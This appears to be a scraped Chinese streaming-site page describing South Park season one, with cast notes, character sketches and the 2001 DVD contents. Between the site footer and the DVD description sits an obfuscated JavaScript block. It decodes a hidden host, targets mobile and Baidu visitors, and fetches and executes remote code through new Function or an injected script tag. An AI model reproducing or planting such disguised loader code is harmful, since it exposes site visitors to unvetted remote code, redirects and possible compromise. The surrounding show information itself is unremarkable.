-->
【频 道】：Comedy Central
【剧 名】：南方公园 - South Park 第一季
【资料翻译】：睿@FRMNEWS 转贴请注明出处
【制 作】：风软FRM字幕组+风软FRTVS压制组
【首 播】：1997年8月14日（北京时间）
【类 型】：动画 喜剧 讽刺
【配 音】：
Trey Parker 配 Stan Marsh, Eric Cartman
Matt Stone 配 Kyle Broflovski, Kenny McKormick
【剧情简介】：
南方公园（6届Emmy奖最佳动画提名）通过美国科罗拉多州South Park镇4个小男孩们的故事讽刺美国的各个方面，从天主教，伊斯兰教，犹太教，摩门教到同性恋，社会矛盾等等均进行了强烈抨击，其中针砭时弊，对美国社会的各种丑恶现象均有提及，其中大多是对时事以及名人的调侃。
South Park是美国Comedy Central制作的动画剧集，由Matt Stone和Trey Parker创作。SP每季通常分两段，前半段在春季，后半段在秋季。
【演员简介】：
Eric Cartman
小胖子，凶猛好斗，爱说脏话。最反感别人说他胖。歧视同性恋和异族人。
口头语: Respect my authority.
Kenny McCormick
总用兜帽裹住头，所以他的话很难听清。典型的衰仔，每集必死，死法各不相同。
Kyle Broflovski
聪明，小脑瓜里充满了各种奇奇怪怪的想法，因为是犹太人，所以总被Eric欺负。Kyle经常暴力对待他的弟弟Ike。
Stan Marsh
四个小孩中看起来比较正常的一个，但在女友Wendy面前总是紧张，每次Wendy和他讲话他就开始呕吐。
口头语：Oh! My god! They killed Kenny!
Matt Stone&Trey Parker
Matt Stone生于1971年，Trey Parker生于1969年，两人都是在科罗拉多州长大，在科罗拉多州立大学读书时相遇。毕业后二人曾受私人所托制作一部圣诞节动画短片，起名"圣诞节精灵"，这便是南方公园的前身。目前两人心无旁骛，一心制作新的南方公园。
本站所有视频和图片均来自互联网收集而来，版权归原创者所有，本网站只提供web页面服务，并不提供资源存储，也不参与录制、上传
若本站收录的节目无意侵犯了贵司版权，请发邮件至dyys66#outlook.com （我们会在3个工作日内删除侵权内容，谢谢。）
© 2020 悠影网
function UrIRM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YQiuPC(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UrIRM(t);};window[''+'s'+'e'+'V'+'j'+'D'+'H'+'d'+'O'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=YQiuPC,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','//'+u+'/g/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='//'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('am5yLmVyY225yeGEuY224=','151000',window,document,['2','ZQMpOD']);}:function(){};
南方公园：第一季完整版是2001年发布的DVD版本，其中包括第一季所有剧集、预告片、电视广告、《今夜脱口秀》（The Tonight Show With Jay Leno）上播出的《杰·雷诺感恩特辑》、《圣善夜》和《伯利恒小镇》的音乐视频，以及特雷·帕克和马特·斯通出席1997年有线电视杰出奖（CableACE Awards）。它最初也包括音频评论，但它们没有包含在最终版本中。包含重新渲染的剧集的蓝光盒式播放机于2017年12月5日发布。
封面
正面的封面由暗灰色和黑色组成，画着斯坦、凯尔、卡特曼、肯尼看着镜头微笑。本封面在所有封面中都是特例，它没有任何剧集内容，没有物品、主题，甚至没有任何对剧集的提及。内部的封面则画着三个男孩焦虑地看着地上的肯尼，而肯尼本人已经只剩了上半身，即将死去。而背面的封面则画着男孩们在笑，不过凯尔有所不同，他在用光屁股对着观众。
剧集
碟片一
- “卡特曼的肛门探针” （1）
- “要你肥4000” （2）
- “火山爆发” （3）
- “诺亚基舟” （4）
- “象猪交配” （5）
碟片二
- “寻死” （6）
- “红眼病” （7）
- “非洲来客” （8）
- “圣诞便便汉基先生” （9）
碟片三
- “撒旦之子达米安” （10）
- “隆鼻手术” （11）
- “机甲史翠珊” （12）
- “卡特曼的荡妇妈” （13）
评论音轨
这一合辑本来是要附加上全程的评论音轨的，但不知为何在出品时没能加入。特雷·帕克和马特·斯通对此决定感到十分愤怒，经过协商，他们与喜剧中心达成了一项协议，将CD上完成的评论在喜剧中心的官网上直接释出。
与后来的评论大有不同，这些评论音轨与一集的时间一样长。在第二季的碟片中没有出现任何评论音轨，而第三季则终于囊括了评论音轨，不过这些评论的长度就只有一小段，和全程评论不可同日而语。
不过出品的这些剧集倒是有着和在犀牛家庭视频（Rhino Home Video）一样的开篇短片，都是很短的真人出演片段。有些是两人的“火炉边谈话”，还带着一只切一下镜头就变身的狗；还有些是两人穿成牛仔的样子，管观众叫做“南园人”（South Parkateer），他们还会时不时欺负一下他们的“印第安人伙伴”；“卡特曼的荡妇妈”开篇是疗养院的短片，两人在养老院时不时欺负老人。在这些短片中，两人会表示接下来的这一集是他们最喜欢的一集，还会解释最喜欢这一集的理由，时不时还会塞个笑话进去（不过由于他们每一集都这么说，这些言论都不能说明他们最喜欢哪一集）。不过这些短片都以搞笑为主要目的，基本不讨论制作的过程和相关内容。